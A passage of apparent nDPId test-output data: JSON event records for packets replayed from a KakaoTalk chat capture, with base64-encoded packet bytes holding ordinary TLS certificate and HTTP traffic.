VR0PAQH\/BAQDAgOIMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBhBgNVHR8EWjBYMCqgKKAmhiRodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vY2EzLWcyOS5jcmwwKqAooCaGJGh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9jYTMtZzI5LmNybDBCBgNVHQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":232,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00536{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":233,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":122016,"pkt_caplen":174,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":174,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAJ5rj0AAjwa\/lR8NRFQKGFK8AbuwnWIYWMJ1uP6sUBikrOyQAAAgBDswOTA3BglghkgBhv1sAQEwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzB7BggrBgEFBQcBAQRvMG0wJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBF"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":233,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":234,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":125067,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjw2EAAPwaKwgoYUrwfDURUsJ0Bu3W4\/qxiGFjCUBBBAM0GAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":234,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":235,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":125220,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjw2UAAPwaKwQoYUrwfDURUsJ0Bu3W4\/qxiGFk4UBBBAMyQAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":235,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +02100{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":236,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":125464,"pkt_caplen":1336,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1336,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUABShrkEAAjwa7Ch8NRFQKGFK8AbuwnWIYWTh1uP6sUBCkrLAOAAAGCCsGAQUFBzAChjlodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRIaWdoQXNzdXJhbmNlQ0EtMy5jcnQwDAYDVR0TAQH\/BAIwADANBgkqhkiG9w0BAQUFAAOCAQEAf4TX3s1P66\/caXxbDQe2jnaKngcjwn0ZQ7fV9dU+wEYbO0+Zfe9lQD15+559ykP5zZBA0qyYS1oaVH4+rZibsq6wmVOQtkUvQcR4eU8yULsmSo\/cr\/4OSGnGOgMEc2Z4Wefjmy7XninHx7DzcSL3DSCQtRONEkd3DXfnLIB14XItylFUFoTE4JLmtQw3ZLEGNCUCqhp4w0dyqbrUH9NEGh03DZ\/YZXjlXfdkKOodBniivM67AoemiIEtxRtGh1OIUyl5p31y3Sb8ydj7isPIMP41385LjSnaQ3WZ\/KUmwXGWWD3yw5LQn4q4u5uMPUIkW4Gx6SkSJbJXYbAMHoYulAAGXDCCBlgwggVAoAMCAQICEApfEU0DWxeRF9Lv1AOMPzswDQYJKoZIhvcNAQEFBQAwbDELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTErMCkGA1UEAxMiRGlnaUNlcnQgSGlnaCBBc3N1cmFuY2UgRVYgUm9vdCBDQTAeFw0wODA0MDIxMjAwMDBaFw0yMjA0MDMwMDAwMDBaMGYxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xJTAjBgNVBAMTHERpZ2lDZXJ0IEhpZ2ggQXNzdXJhbmNlIENBLTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC\/YQopEB9e\/jQ3UQj4Hvsi7WG+Cw1wTFBjJnUVuUGIl7bwoBW7CGDgQugFKRCHNoooZajvMQd0bTaXLyhGZgTHKnkmepnVjsNtT6Berbw9kcJZe142bMBTzwAIMj4QZFgQE2nHDO6cQlEA+QVE7iTOeh\/tjBG9EqjzFfQcejFpARun5l3Ammx+CZ7nUkRKEDoj5Ju2A6+onLRbn9RLrZKMzrURKqo3GI20wrjYXAaM+P8jvTVe1Hw+foMOkZYFmMOyH+PIZeupe12gLMz8PNlt7cz6S0OMydS4pWEcskC2KBLfufhf\/tOyye89tB5LfBxMmTaePevsp2heHd9nbl77AgMBAAGjggL6MIIC9jAOBgNVHQ8BAf8EBAMCAYYwggHGBgNVHSAEggG9MIIBuTCCAbUGC2CGSAGG\/WwBAwACMIIBpDA6BggrBgEFBQcCARYuaHR0cDovL3d3dy5kaWdpY2VydC5jb20vc3NsLWNwcy1yZXBvc2l0b3J5Lmh0bTCCAWQGCCsGAQUFBwICMIIBVh6CAVIAQQBuAHkAIAB1AHMAZQAgAG8AZgAgAHQAaABpAHMAIABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAIABjAG8AbgBzAHQAaQB0AHUAdABlAHMAIABhAGMAYwBlAHAAdABhAG4AYwBlACAAbwBmACAAdABoAGUAIABEAGkAZwBpAEMAZQByAHQAIABDAFAALwBDAFAAUwAgAGEAbgBkACAAdABoAGUAIABSAGUAbAB5AGkAbgBnACAAUABhAHIAdA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":236,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":237,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":127997,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjw2kAAPwaKwAoYUrwfDURUsJ0Bu3W4\/qxiGF44UBBLAL2QAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":237,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":238,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":149329,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACwAAEAAjgaA+a38YQIKGFK8AbuKt2bo6WJTxCd7YBClZDSaAAABAQEB"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":238,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":239,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":160590,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAChRFkAAjwYu5638YQIKGFK8AbuKt2bo6WJTxCgzUBCkrEagAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":239,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +01551{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":240,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":179969,"pkt_caplen":926,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":926,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAA45rkUAAjwa8ox8NRFQKGFK8AbuwnWIYXjh1uP6sUBikrNHEAAAAeQAgAEEAZwByAGUAZQBtAGUAbgB0ACAAdwBoAGkAYwBoACAAbABpAG0AaQB0ACAAbABpAGEAYgBpAGwAaQB0AHkAIABhAG4AZAAgAGEAcgBlACAAaQBuAGMAbwByAHAAbwByAGEAdABlAGQAIABoAGUAcgBlAGkAbgAgAGIAeQAgAHIAZQBmAGUAcgBlAG4AYwBlAC4wEgYDVR0TAQH\/BAgwBgEB\/wIBADA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTCBjwYDVR0fBIGHMIGEMECgPqA8hjpodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vRGlnaUNlcnRIaWdoQXNzdXJhbmNlRVZSb290Q0EuY3JsMECgPqA8hjpodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vRGlnaUNlcnRIaWdoQXNzdXJhbmNlRVZSb290Q0EuY3JsMB8GA1UdIwQYMBaAFLE+w2kD+L9HAdSYJhoIAu9jZCvDMB0GA1UdDgQWBBRQ6nOJ2yn7EI+e5QEg1N55mUiD9zANBgkqhkiG9w0BAQUFAAOCAQEAHuKlSJ5s21M4D++mGiqs4gND7Zq8Po51G\/D9LiJZrBPAYeLn+umZzYcJdVQov0Zg3L5RLJLzG5F8MQhw4je5wVuovaMLAPsaFf0DrVhqxcckmUhHRjEeku+0X040x5C\/McH4sYSG0JwBqt+KVgbOOukOrpd0XddxmkJ0X96NQ3ze6VXtaQDLBeB6YWEz0RlN+QjuoDnFJTW3K8QPst3xpbcOJMQmKI15d\/Uv8Fe6fAfU4fzNWjBXfoYQR90xH9f8osK\/MHxdJKro+a5fanTCzmuzRtghvinUjl4V1kJK5zJvpLFrUYNYvj9tx\/vaAyHLahYZTgrwrYTKXZSzWnb3YRYDAQCSDAAAjgMAF0EExrvVjJmskxsxl7za+fyJjy8jLZ01HW0zf5npTx\/6GWLGRG3SXO5Gg1gOG8smi\/NyV\/PxGGRbia0CMA7d76Yv2ABHMEUCIHzwDcwFMpxVP\/8am4nZhxz0QnCrvWisp422CWpoZBYUAiEA6zngcC34dn3Gt0qUcGhAjS8GTzhESSBXNqyC\/12rLOcWAwEABA4AAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":240,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":241,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":183936,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjw20AAPwaKvwoYUrwfDURUsJ0Bu3W4\/qxiGGGeUBBVALAqAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":241,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00757{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":242,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":184027,"pkt_caplen":339,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":339,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUcAUOiUUAArQZqEh8NRFQKGFK8AFCStWTibgTNKqFHUBj\/\/1uiAABIVFRQLzEuMSAyMDQgTm8gQ29udGVudA0KQ2FjaGUtQ29udHJvbDogcHJpdmF0ZSwgbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUNCkVkZ2UtY29udHJvbDogY2FjaGUtbWF4YWdlPTI4ZA0KWC1GQi1EZWJ1ZzogbnRKRXA0ZXcwOHRBWkdWd2J0SHdUZzhPVFBDbGd3RHI1V1FlTXJkYitCazA1eEpaZkMxaXVjb1NpaWd3RG94NUZzcjJjQ2txSmN3MHBUN1FMS1dUY0E9PQ0KRGF0ZTogU3VuLCAyNiBBcHIgMjAxNSAxNzoyMzo1NiBHTVQNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":242,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":243,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":185828,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACitlkAAPwbOBAoYUrwfDURUkrUAUM0qoUdk4m8fUBA8uN1tAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":243,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00544{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":244,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":247321,"pkt_caplen":178,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":178,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKLw3EAAPwaKRAoYUrwfDURUsJ0Bu3W4\/qxiGGGeUBhVAPcpAAAWAwEARhAAAEJBBKEasiyUo2ANNASkr2uadAhqkbscFf9u1KOWllAbNFBDhtdLmgUrZUpTT7pczUwTMUMatVuEPWFyZE1dHeDqmuYUAwEAAQEWAwEAJGIfRucykgPyI9pqoL2jesB+lmMfcHzlLfb88ABcRl7sHSXOIg=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":244,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00413{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":245,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":276526,"pkt_caplen":83,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":83,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAENed0AAjwYha638YQIKGFK8AbuKr2AiuZj8GvWyUBiii9MKAAAXAwEAFp5b363nZbFPi1P4rTyfy5dJibUnsF8="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":245,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":246,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":279334,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjmyEAAPwbpNAoYUryt\/GECiq8Bu\/wa9bJgIrmzUBBVAFbzAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":246,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":247,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":288397,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAChrkkAAjwbACB8NRFQKGFK8AbuwnWIYYZ51uP8mUBCkrGAEAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":247,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":248,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":323798,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAFdrk0AAjwa\/2B8NRFQKGFK8AbuwnWIYYZ51uP8mUBikrFbnAAAUAwEAAQEWAwEAJEz9\/SACjDCZ21TDmC3Ma+XTfd53Wv1wk6ilrW7MOivVEblLcQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":248,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":249,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":326361,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjw3UAAPwaKvQoYUrwfDURUsJ0Bu3W4\/yZiGGHNUBBVAK+BAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":249,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +01522{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":250,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":341162,"pkt_caplen":899,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":899,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAA3Pw3kAAPwaHcQoYUrwfDURUsJ0Bu3W4\/yZiGGHNUBhVAOLuAAAXAwEDRrsz244K+3eA6Udp3Mw7LMcIFA0KLGHukYwJ0xnAQ7LrfLiz9iknoqpHhufsg+yqTlTg5bOYrUyTfrZFAZeK+nW0esldd8Lh9TTBgIH16CFNkx4uAtfVyug1thRaQ2a3JuW3vRjzmPCpXNrq+fUfHiMNddHTDkUFLIp1PDmwd8o6y3gpmpjLEJ5J+yJGz2\/mytjqDr5V7qD5IsllkOwDKglnTmZyrndrUasCJgBMyqAVXfUN\/+oN7tZKOt35K9EEr3wi36NAHYSGgXY3hCx0iNkw7mLGp0sha8L4x7PHWny5xVLBCjQPJg8ChQ35HMIUArfO1bJ0ylpC9sRp\/Mnq7tLGn1+ILtvtB4EusMonucme73eJuaqvP9scHHUueQgqsj\/s5PmbOv+Tbrvu3TJm14y6tkPojKuKXvXhySRpgl\/+MAoyrRcqBZ9mKzZ1Gl50sA44+BSiYu3WdUerfk2XPgaVm1grlAg4B5vu4LMT\/CV5GidYRBWcTPqjYXCP0d64QErvxVEyBXnE5ZQHa\/qG5KqwHaMfWiULIQajuXZmf8pD9wblYKB2pv5sWRO4n01NgYOTbyAbzCnuvHNPvvQv8xF\/5zb\/BtLmLqugNdxpylx\/fFZwNeP8FT\/u7Sv\/r+oJcru3xDrKHG3czv5O57ipCdoWpohFN0hYU0NcZPFTItoDxrGJomM8xgsYrlymgU7Bi\/B1+avrDLypgCkz8tamyaLmwUIyGKPuLDga1Zb+6kX853if8Ry2NESngnPgFEybFPEwmgICKbJmby0rfhii36tgRg4\/SPR4bs37yryTpl5eH1m9Ig\/1l9xINRsPFXAvuSqQY\/M820jve7L5CED9STAfF9Gs9Y+s0maXTmXWoyLSgoJQ3OBqAfsvA\/hpQHdBfixnLYQrJgECLg+CVEUhe4Kk1b4EDSoRSpBMgJJrEUCjjzX9KlYKoss4cwUa+ueG0CgjBqHWYHafLV+s6xBFwxTiiYdN45cLUH+gwRDsI7ahcYaC0M+345LJgd8gj17GdXjbPpVr7kf+U\/7+fL9kV5sM7Arsqt1E2SxR0eF2YgDITIKYHVgwQTZQgZS4iSPvuYwCedInBxK7hMS4rj1bV9Njt75+FGQ="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":250,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00923{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":251,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":341345,"pkt_caplen":458,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":458,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAbrw30AAPwaJKQoYUrwfDURUsJ0Bu3W5AnFiGGHNUBhVAKFOAAAXAwEBjUjtHX8Br9tJYJ++gIVGWmmQr1qyVtABVN5bznPcVxTLUdJrxi+sxbfZcYxf3mWfVWz+W5nboc06TzVBHtYqnGqwjrHMGkabm\/k4xssawjoxu\/CPjMBn2WUnvnPcZD7con5t4WhSORMs0\/H\/uQWgsmqea3bKLYKHUICWNC7Swqq+lB9toPK5VV+95p2jbCOJgggLPXLTskmZp5AxgATryIlW1qcX0CYxdILmnDGRul1RgObbKZtsCut\/RCEn07AC0bvZk0B+I2GEeIf1xdfFY3hhDFu9+ha5wryVf65Sz0vhs1yDJgh8sVvWWPhxrMVX4yhRzTN0VA6tXPFqsDToSjfs0zil9m2fzLqwge0aulfAVbW2oKbaV9XauySt6O2K4RrNVUeUeL1omH\/WRLRRfAaRMUEvU1zxCTc\/1B76Hmat9npeTiuxt2UEX95VOlA7o+lJpesfRUUwpaCl4P6pIQlg7jREQzZqgHN0fhk0JRs8Nv\/mj2NSUeZ6jD0vACj7kU1RJz41UwtAPijeYXQ="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":251,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00415{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":252,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":341468,"pkt_caplen":83,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":83,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAEPw4EAAPwaKnwoYUrwfDURUsJ0Bu3W5BANiGGHNUBhVAPTbAAAXAwEAFq4yNtaGEYI\/P8dUe0UG\/5OPPStZIbo="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":252,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00430{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":253,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":341590,"pkt_caplen":96,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":96,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFDw4UAAPwaKkQoYUrwfDURUsJ0Bu3W5BB5iGGHNUBhVACvLAAAXAwEAIzTC\/FMvc4jDGG+sM8mhMmS6yY2m9rHpqFfzWgaXSDQmvxl8"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":253,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00417{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":254,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":341712,"pkt_caplen":86,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAEbw4kAAPwaKmgoYUrwfDURUsJ0Bu3W5BEZiGGHNUBhVAFA1AAAXAwEAGbQi63CFV5rHiLApDhT8sUNrMs7Hu8jts+g="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":254,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":255,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":388526,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAChrlEAAjwbABh8NRFQKGFK8AbuwnWIYYc11uQQDUBCkrFr4AAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":255,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":256,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":389075,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAChrlUAAjwbABR8NRFQKGFK8AbuwnWIYYc11uQRGUBCkrFq1AAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":256,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":257,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":428260,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAChrlkAAjwbABB8NRFQKGFK8AbuwnWIYYc11uQRkUBCkrFqXAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":257,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +02095{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":258,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":608985,"pkt_caplen":1336,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1336,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUABShRF0AAjgYq5q38YQIKGFK8AbuKt2bo6WJTxCgzUBCkrMtIAAAWAwEAWQIAAFUDAbZyuIuZl37RA6xhj4YdGRy7e\/k0fSBIfmPHpvdYA0LwIGHGz3CMoqyAqySUoSyZbEmdkTnwkbEEIcyIOcde2TVPwAcAAA3\/AQABAAALAAQDAAECFgMBDNkLAAzVAAzSAAZwMIIGbDCCBVSgAwIBAgIQBnjbTdvaLb44isb+B0TcyDANBgkqhkiG9w0BAQUFADBmMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSUwIwYDVQQDExxEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBDQS0zMB4XDTE0MDgyODAwMDAwMFoXDTE1MTAyODEyMDAwMFowYTELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAkNBMRMwEQYDVQQHEwpNZW5sbyBQYXJrMRcwFQYDVQQKEw5GYWNlYm9vaywgSW5jLjEXMBUGA1UEAwwOKi5mYWNlYm9vay5jb20wWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAATY0d01veJZtvubH1QVjNu\/T